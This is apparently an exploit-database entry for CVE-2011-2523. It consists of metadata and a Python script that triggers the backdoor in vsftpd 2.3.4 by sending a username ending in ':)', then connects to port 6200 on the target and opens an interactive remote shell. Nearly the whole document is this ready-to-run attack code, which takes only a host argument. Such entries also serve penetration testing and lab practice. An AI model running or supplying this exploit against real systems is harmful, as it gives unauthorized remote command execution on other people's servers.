vsftpd 2.3.4 - Backdoor Command Execution

Author: HerculesRD
type: remote
platform: unix
port: 
date_added: 2021-04-12  
date_updated: 2021-07-16  
verified: 1  
codes: CVE-2011-2523  
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aliases:   
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raw file: 49757.py  
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3

from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()